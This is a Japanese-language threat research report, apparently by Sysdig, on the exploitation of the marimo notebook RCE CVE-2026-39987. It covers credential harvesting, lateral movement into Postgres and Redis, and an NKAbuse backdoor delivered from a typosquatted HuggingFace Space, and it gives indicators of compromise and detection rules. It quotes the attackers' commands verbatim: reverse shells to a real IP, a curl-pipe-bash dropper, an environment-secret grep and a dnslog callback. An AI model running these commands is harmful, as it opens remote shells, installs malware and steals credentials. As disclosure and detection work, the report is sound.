2026年4月8日、marimo Pythonノートブックプラットフォームの認証前リモートコード実行(RCE)の重大な脆弱性が開示されてから3日後、Sysdig脅威研究チーム(TRT)は複数のユニークな攻撃を観察しました。その中には、marimo exploit を使用してHuggingFace Spaces上でホストされていたマルウェアをデプロイする脅威アクターも含まれています。我々が取得したマルウェアバイナリは、NKNブロックチェーンをC2に使用するGoベースのバックドアであるNKAbuseの、これまで文書化されていないバリアントでした。
Sydsdig TRTの前のmarimo記事では、公表とCVE-2026-39987として後に割り当てられたGHSA-2679-6mx9-h9xcの悪用の間に、9時間41分のギャップを文書化しました。公表後も、我々は活動の監視を続けました。2026年4月11日から14日まで、10カ国にわたる11ユニークなソースIPから、リバースシェルキャンペーン、認証情報抽出、DNS流出、PostgreSQLおよびRedisへの漏洩認証情報を使用した横展開、およびタイポスクワットされたHuggingFace Spaceを介したノベルなマルウェアバリアントのデプロイを含む662の exploit イベントが生成されました。
以下は、我々が観察したもの、脅威アクターがデプロイしたマルウェア、侵害のインジケーター、および防御者がどのように対応すべきかについての推奨事項の探索です。
タイムライン
|
時刻(UTC) |
イベント |
|
4月8日 21:50 |
アドバイザリGHSA-2679-6mx9-h9xcがGitHubで公開 |
|
4月9日 07:31 |
最初の悪用を観察(以前報告) |
|
4月11日から4月14日 |
12ユニークなソースIPが4日間にわたって脆弱性を悪用、合計662イベント |
|
4月12日 |
38.147.173.172がHuggingFace Spacesを介してNKAbuse バリアントをデプロイ |
|
4月13日 |
159.100.6.251が漏洩認証情報を介してPostgreSQLへの横展開を達成 |
|
4月14日 |
160.30.128.96-100が漏洩認証情報を介してRedisへの横展開を達成 |
Sysdig脅威研究チームが観察したもの
4月11日から14日にかけて、我々は単一コマンドRCE検証から横展開を含むマルチアワーのインタラクティブセッションまで、4つの操作パターンに分類される活動を記録しました。各戦術を個別に分析してみましょう。
認証情報の収集
我々が観察した最も一般的な exploit 後の動作は環境変数の抽出でした:
env | grep -iE 'key|secret|token|api|pass|db|mongo|pg|mysql|openai|anthropic'echo AWS_ACCESS=$AWS_ACCESS_KEY_ID
echo AWS_SECRET=$AWS_SECRET_ACCESS_KEY
echo OPENAI=$OPENAI_API_KEY
echo DB=$DATABASE_URL
1人のオペレーター(111.90.145.139、マレーシア)は複数のセッションにわたってクラウド認証情報に排他的に焦点を当てていました。別のオペレーター(92.208.115.60、ドイツ)は、.envファイル、docker-compose.yml、およびSSHキーを読み取る4つの別個のセッションを実施しました。これらのオペレーターは再販売または後の使用のための認証情報を収集していますが、マルウェアをデプロイしていませんでした。
ハニーポットは現実的な偽の認証情報を返しました。AWSアクセスキー、PostgreSQL接続文字列(DATABASE_URL=postgresql://USER:[email protected]:5432/marimo)、およびAPIキーが含まれています。1人の攻撃者が餌に食いつき、Postgresにログインしました。これについては記事の後半で取り扱います。
リバースシェルと横展開
最も洗練されたオペレーター(159.100.6.251、ドイツ)は3時間以上にわたって195イベントを実施しました。このオペレーターはデータベースの横展開にピボットする前に、15以上のリバースシェルテクニックを試みました:
bash -i >& /dev/tcp/159.100.6.251/44440>&1
これが失敗したとき、彼らはますます創造的なバリアントで エスカレーション:
nohup bash -c 'bash -i >& /dev/tcp/159.100.6.251/8888 0>&1' > /dev/null2>&1 &
disown /bin/sh -i 5<> /dev/tcp/159.100.6.251/44430<&51>&52>&5/bin/sh -i >& /dev/udp/159.100.6.251/4430>&1python3 -c "import socket,os,pty; s=socket.socket(); s.connect(('159.100.6.251',80)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn('/bin/bash')"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 159.100.6.251443 >/tmp/f
彼らはポート4444、8888、4443、443、および80を循環し、bash、sh、Python、およびnetcatを交互に使用し、TCPおよびUDPの両方のバリアントを含みました。
リバースシェルオプションを使い果たした後、攻撃者は DATABASE_URL 環境変数を抽出し、ポート5432のPostgreSQLハニートラップに接続しました:
psql -h HOST.internal -U marimo -d marimo
4つのセッションと5分間で9つのクエリにわたって、彼らはデータベースを列挙しました:
\dn -- スキーマをリスト表示\dT -- タイプをリスト表示\dt -- テーブルをリスト表示SELECT version() -- PostgreSQLバージョンSELECT current_database()
SELECT*FROM pg_catalog.pg_tables LIMIT 5SHOWALL-- すべての構成パラメーター
これはテキストブック的な横展開です:直接リモートアクセスに失敗したとき、環境内に存在する認証情報を使用して接続されたサービスにピボットします。同じセッション内でリバースシェルからデータベース列挙に移行することは、構造化されたプレイブックを持つ経験豊富なオペレーターを示唆しています。
PostgreSQLは攻撃者が行った唯一の横展開ではありませんでした。彼らはRedisインスタンスにも影響を与えました。
別の攻撃者(160.30.128.96-100、香港)は5つの並列接続と、すべての16のRedisデータベースにわたった約70反復を超えて、すべてのキーを体系的に列挙およびダンプしました:
AUTH <password> -- 認証(.env認証情報) CLIENT SETINFO LIB-NAME -- redis-pyとして識別 CLIENT SETINFO LIB-VER -- ライブラリバージョンフィンガープリント
SELECT 0 -- データベース0に切り替え DBSIZE -- データベース内のキーをカウント SCAN 0 COUNT 100 -- すべてのキーを列挙 TYPE celery-task-meta-abc123 -- キータイプをチェック(文字列)
GET celery-task-meta-abc123 -- Celeryタスク結果を読み取り
TYPE celery-task-meta-def456
GET celery-task-meta-def456 -- Celeryタスク結果を読み取り
TYPE session:admin:550e8400 GET session:admin:550e8400 -- 管理者セッショントークンを読み取り TYPE session:api_user:6ba7b810 GET session:api_user:6ba7b810 -- APIユーザーセッションを読み取り TYPE flow:550e8400:cache GET flow:550e8400:cache -- ノートブックフローキャッシュを読み取り SELECT 1 -- データベース1に対して繰り返し ... -- SELECT 15まで
各IPは同じサイクルを6~20回実行し、すべての16のデータベース(SELECT 0からSELECT 15)をスキャンしました。彼らはCLIENT SETINFOを使用して標準redis-pyクライアントとして識別し、Pythonベースの流出ツールと一致します。パスワードはマリオの.envファイルから抽出されました。前のWebSocketターミナル exploit の間に。
DNS流出
1人のオペレーター(203.10.98.186、オーストラリア/AARNET)はDNSベースのアウトオブバンド確認を使用しました:
ping bskke4.dnslog.cn
DNSLogは一意のサブドメインを提供し、DNSクエリをログに記録し、直接コールバックなしでRCE確認を可能にします。このテクニックは、ファイアウォールが送信接続をブロックしてもDNS解決を許可する場合に一般的です。オペレーターは2時間のセッションを維持し、手動操作を示唆しています。
HuggingFace Spacesを介したNKAbuseデプロイメント
最も重要な発見は(38.147.173.172、香港)からのもので、次のコマンドを実行しました:
curl -fsSL https://vsccode-modetx.hf.space/install-linux.sh | bash
攻撃者は3回試行し、その後20分後に戻って実行を確認しました。これは事前ステージされた implant をデプロイするオペレーターの動作であり、偵察ではありません。
HuggingFaceデリバリーチェーン
ドロッパーURLはHuggingFace Spaceの「VS Code」の意図的なタイポスクワットである「vsccode-modetx」をポイントします。これが配信するバイナリは「kagent」という名前で、正当なKubernetes AIエージェントツール(github.com/kagent-dev/kagent)でもあります。両方の名前は、marimoがデプロイされた開発者環境にブレンドするかもしれません。Space自体は、機械学習(ML)モデルを含まずに、静的ファイルホスティングのみに使用されます。
マルウェアドロッパー
ドロッパー(install-linux.sh、SHA256:25e4b2c4bb37f125b693a9c57b0e743eab2a3d98234f7519cd389e788252fd13)はクロスプラットフォームインストールを実装しています:
- ダウンロードフォールバック:curl → wget → fetch
- プロセスクリーンアップ:既存のkagentインスタンスを強制終了
- 永続化(3つの方法、順序で試行):
- systemdユーザーサービス(~/.config/systemd/user/kagent.service)
- Crontab(@reboot cd $HOME/.kagent && $HOME/.kagent/kagent >/dev/null 2>&1)
- macOS LaunchAgent(~/Library/LaunchAgents/com.kagent.plist)
- サイレント操作:出力を~/.kagent/install.logにリダイレクト
スクリプトはLinuxとmacOSの両方をサポートしており、marimoが主に開発者ワークステーションで使用されているため、注目に値します。
kagentペイロードバイナリ
ペイロード(kagent)はUPXでパックされた、ストリップされたGo ELFバイナリです(4.3 MB → 15.5 MB)。アンパックされた文字列はNKAbuseバリアントとして識別します:
nkn-rat-agent
NKN RAT Agent
[Agent] Heartbeat sent: uptime=%ds, cpu=%.1f%%, mem=%.1f%%, disk=%.1f%%
Shell output sent successfully
Received uninstall request, preparing graceful shutdown...
Agent binary deleted successfully
バイナリはNKNクライアントプロトコル、NATトラバーサルのためのWebRTC/ICE/STUN、プロキシ管理、および構造化されたコマンド処理を参照しています。これはNKAbuseファミリーに一致し、Kaspersky によって2023年12月に最初に文書化されました。
|
プロパティ |
値 |
|
SHA256(UPXパック) |
27c62a041cc3c88df60dfceb50aa5f2217e1ac2ef9e796d7369e9e1be52ebb64 |
|
SHA256(アンパック) |
f2960805f89990cb28898e892bbdc5a2f86b6089c68f4ab7f2f5e456a8d0c21d |
|
SHA1(パック) |
049c35fa746a8b86c100bf6b348ef6163b215898 |
|
MD5(パック) |
bdcb5867f73beae89c3fce46ad5185be |
|
ファイルタイプ |
ELF 64ビット LSB実行可能ファイル、x86-64、Go、静的リンク、ストリップ |
|
パッキング |
UPX(4.3 MBパック、15.5 MBアンパック) |
NKAbuseバリアント比較
元のNKAbuseと比較して、このバリアントは大きな転換を表します:
|
アスペクト |
オリジナルNKAbuse(2023) |
このバリアント(2026) |
|
ターゲット |
Linuxデスクトップ(IoT機能付き) |
AI/ML開発者ワークステーション |
|
初期アクセス |
CVE-2017-5638(Apache Struts)-6年前の脆弱性を使用 |
CVE-2026-39987(marimo事前認証RCE)-最新の脆弱性を exploit |
|
配布 |
直接 exploit |
HuggingFace Spacesタイポスクワッティング |
|
バイナリ名 |
nkabuse |
kagent(正当なK8sツールを模倣) |
|
C2プロトコル |
NKNブロックチェーン |
NKNブロックチェーン(変更なし) |
ノートブックプラットフォームを実行している開発者ワークステーションは高い価値のターゲットです:クラウド認証情報、SSHキー、APIトークン、および内部ネットワークアクセス。データサイエンティストのワークステーション上の implant は、汎用サーバー上のものより価値があります。
HuggingFaceでホストされているマルウェア
hf.spaceドメインはクリーンな評判を持っており、分析時点では16の評判ソースすべてにわたって悪意がありません。Spaceは2026年4月14日現在ライブのままでした。これはより広い傾向に適合します:
- Bitdefender(2026年1月):HuggingFaceリポジトリを通じて配布されたAndroid RAT を文書化し、6,000以上のバリアントコミット
- Lasso Security(2023年11月):コードリポジトリで公開された1,600以上の悪意のあるHuggingFace APIトークンを識別
- JFrog:HuggingFaceに silent バックドア付きの100以上の悪意のあるMLモデルを発見
このケースを区別するのはそのシンプルさです。以前のHuggingFace悪用は poisoned MLモデルまたはバックドアされたトレーニングパイプラインに焦点を当てていました。ここでは、Spaceは静的ファイルホスティングのみとして機能します。既存のモデルスキャンツールはこのパターンをキャッチできません。彼らはモデルを探しているためです。
防御者にとってこれが意味するもの
- exploit タイムラインは引き続き崩壊しています。アドバイザリから exploit へのギャップは9時間41分でした。3日目までに、11のIPが脆弱性を武装化していました。20,000のGitHubスターを持つニッチなソフトウェアは、広範な持続的な脆弱性 exploit から除外されていません。
- AI/MLインフラは、推奨される初期アクセスベクトルです。marimo exploit を介してNKAbuseをデプロイし、HuggingFaceでホストし、Kubernetesツールとして偽装することは、彼らのターゲットを理解する脅威アクターを反映しています。漏洩した認証情報を介したPostgreSQLへの横展開は、攻撃者が侵害されたノートブックから接続されたインフラストラクチャにいかに迅速にピボットするかを示しています。
- 信頼できるプラットフォームは、新しいステージングインフラです。HuggingFace Spaces、GitHubリリース、PyPIパッケージ、およびDocker Hubイメージはすべて、デフォルトでクリーンなドメイン評判を持っています。ペイロードが数百万人の正当なユーザーを持つプラットフォーム上に存在する場合、従来の評判スコアリングは失敗します。
侵害のインジケーター
ネットワークインジケーター
|
インジケーター |
タイプ |
コンテキスト |
|
https://vsccode-modetx.hf.space/ |
ペイロードホスト |
HuggingFace Space(「VS Code」をタイポスクワット) |
|
https://vsccode-modetx.hf.space/install-linux.sh |
ドロッパーURL |
3つのメソッドダウンロードフォールバック付きシェルスクリプト |
|
https://vsccode-modetx.hf.space/kagent |
バイナリURL |
UPXパックNKAbuseバリアント |
|
bskke4.dnslog.cn |
DNSオラクル |
OOB RCE確認(203.10.98.186で使用) |
ファイルハッシュ
|
ファイル |
SHA256 |
|
kagent(UPXパック) |
27c62a041cc3c88df60dfceb50aa5f2217e1ac2ef9e796d7369e9e1be52ebb64 |
|
kagent(アンパック) |
f2960805f89990cb28898e892bbdc5a2f86b6089c68f4ab7f2f5e456a8d0c21d |
|
install-linux.sh |
25e4b2c4bb37f125b693a9c57b0e743eab2a3d98234f7519cd389e788252fd13 |
ホストインジケーター
|
インジケーター |
場所 |
|
バイナリ |
$HOME/.kagent/kagent |
|
PIDファイル |
$HOME/.kagent/kagent.pid |
|
インストールログ |
$HOME/.kagent/install.log |
|
systemdサービス |
$HOME/.config/systemd/user/kagent.service |
|
Crontabエントリ |
@reboot cd $HOME/.kagent && $HOME/.kagent/kagent >/dev/null 2>&1 |
|
macOS LaunchAgent |
$HOME/Library/LaunchAgents/com.kagent.plist |
|
プロセス名 |
kagent |
ソースIP
|
IP |
国 |
主要な動作 |
|
159.100.6.251 |
ドイツ(Ultahost VPS) |
15以上のリバースシェルバリアント、漏洩認証情報を介したPostgreSQL横展開 |
|
111.90.145.139 |
マレーシア |
env | grep キー |
|
203.10.98.186 |
オーストラリア(AARNET) |
dnslog.cn経由のDNS流出、2時間セッション |
|
92.208.115.60 |
ドイツ |
拡張フリートの最初の exploit者、4つの別個セッション |
|
38.147.173.172 |
香港(LucidaCloud) |
HuggingFace Spaces経由のNKAbuseデプロイヤー |
|
185.225.17.176 |
ルーマニア(MivoCloud) |
Pythonベースのドロッパー試行 |
|
45.147.97.11 |
フランス(Serverd) |
ファイルシステム偵察 |
|
185.187.207.193 |
イラク(スレイマニヤ) |
基本RCE検証 |
|
185.188.61.216 |
スペイン(HostRoyale) |
ファイルシステムブラウジング、/etc/passwd |
|
120.227.46.184 |
中国(広東) |
ユニークなechoトークンを持つRCE検証 |
|
60.249.14.39 |
台湾 |
クイックidプローブ |
|
160.30.128.96-100 |
香港(BGPNET) |
Redisデータベースダンピング |
注:ソースIPはオペレーターの起点ではなく、プロキシまたはVPNエンドポイントである可能性があります。
ランタイム検出
各攻撃段階は、CVE-2026-39987の事前知識なしで発火する既存のランタイム検出ルールにマップされます:
|
攻撃段階 |
観察された動作 |
Sysdigルール |
|
リバースシェル |
bash -i >& /dev/tcp/IP/PORT 0>&1 |
リバースシェルが検出されました |
|
認証情報盗難 |
cat .env、grep secret |
信頼されていないリード機密ファイル、ダンプ機密環境変数 |
|
AWS認証情報アクセス |
echo $AWS_ACCESS_KEY_ID |
AWS認証情報を検索 |
|
ドロッパー実行 |
`curl -fsSL https://…hf.space/install-linux.sh | bash |
Wget/Curlによるインラインシェル実行 |
|
永続化 |
systemdサービス作成、cronvab変更 |
Cronジョブをスケジュール、疑わしいCronジョブ作成 |
|
DNS流出 |
ping bskke4.dnslog.cn |
攻撃的なセキュリティツールドメインのDNS参照検出 |
|
マルウェアドロップ+実行 |
バイナリが/tmp/kagentにドロップされて実行 |
コンテナドリフト検出 |
リバースシェル検出カバレッジ
Sysdigエージェントを使用して、管理された環境で観察された各リバースシェルテクニックを再現しました。Sysdigは既存のルールを使用してすべてのバリアントを検出しました:
|
リバースシェルテクニック |
Sysdigルール |
重大度 |
|
bash -i >& /dev/tcp/IP/PORT 0>&1 |
リバースシェルが検出されました |
高 |
|
nohup bash -c ‘bash -i >& /dev/tcp/IP/PORT 0>&1’ > /dev/null 2>&1 & disown |
リバースシェルが検出されました |
高 |
|
/bin/sh -i 5<> /dev/tcp/IP/PORT 0<&5 1>&5 2>&5 |
リバースシェルが検出されました |
高 |
|
python3 -c “import socket,os,pty; s=socket.socket(); s.connect((IP,PORT)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn(‘/bin/bash’)” |
リバースシェルが検出されました |
高 |
|
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f; /bin/sh -i 2>&1;nc IP PORT >/tmp/f` |
リバースシェルは、名前付きパイプを使用して兄弟プロセスにSTDIN/STDOUTをリダイレクト |
高 |
各バリアントは、サポートルールコンテナ内のネットワーク接続へのSTDOUT/STDINをリダイレクト(中)およびシステムプロセスネットワークアクティビティ(低)もトリガーしました。nohup/disownラッパーは、ファイル記述子をネットワークソケットにリダイレクトするため、ルールはコマンド文字列ではなく、検出を回避しませんでした。
検出はsyscallレベルで機能します。bashが/dev/tcp/IP/PORTを開くと、connect()syscallが生成され、そのソケットにfd 0/1/2をリダイレクトすることはシェル構文に関係なく表示されます。Pythonのos.dup2()は同じパターンを生成します。mkfifo+ncバリアントは名前付きパイプを使用し、特別な兄弟プロセスパイプルールをトリガーします。
防御者のためのSysdig TRTの推奨事項
- 更新marimoをバージョン0.23.0以降にアップデートしてください。脆弱性は認証を必要とせず、積極的にターゲットになっています。
- ハントシステdユーザーディレクトリおよびシステムで実行されているマリモの場合は、~/.kagent/、kagent.serviceおよびkagentプロセスを検索します。
- ブロックvsccode-modetx.hf.spaceをプロキシまたはDNSレベルで。
- 回転公開アクセスマリモインスタンスの認証情報。攻撃者はDATABASE_URL、AWSキー、環境変数からのAPIトークンをターゲットにしました。
- 監視NKNプロトコルトラフィック。ブロックチェーンC2は特徴的なリレーパターンを使用します。
- 監査HuggingFace Spacesおよび AI/MLプラットフォーム依存関係。検証されたパブリッシャーへのアクセスを制限します。
- デプロイ上記の exploit 後の動作のランタイム検出。行動検出は初期アクセスベクトルに関係なく機能します。
結論
Marimo CVE-2026-39987はスキャンを超えて、アクティブなマルウェアデプロイメントに移行しました。ゼロ検出NKAbuseバリアント、タイポスクワットHuggingFace Space経由で配布され、ニッチなPythonノートブックプラットフォームをターゲットにして、脅威アクターがAI/MLインフラを特にターゲットにしており、ブロックチェーンベースC2を使用して監視を回避するために信頼できるプラットフォームを使用していることを示します。侵害されたノートブックからPostgreSQLへの漏洩環境変数を介した横展開は、クラウドネイティブ環境では、単一の侵害されたコンテナがより広いインフラへの足がかりを提供することを示しています。
究極的には、シグネチャベースのツールは、彼らが見たことのないものをキャッチすることはできません。動作検出、認証情報回転、およびインターネットに面したAI/MLツールのインベントリは、CVE-2026-39987に関連して脅威に対する防御に対する最も効果的なセキュリティコントロールです。
クラウド検出と応答

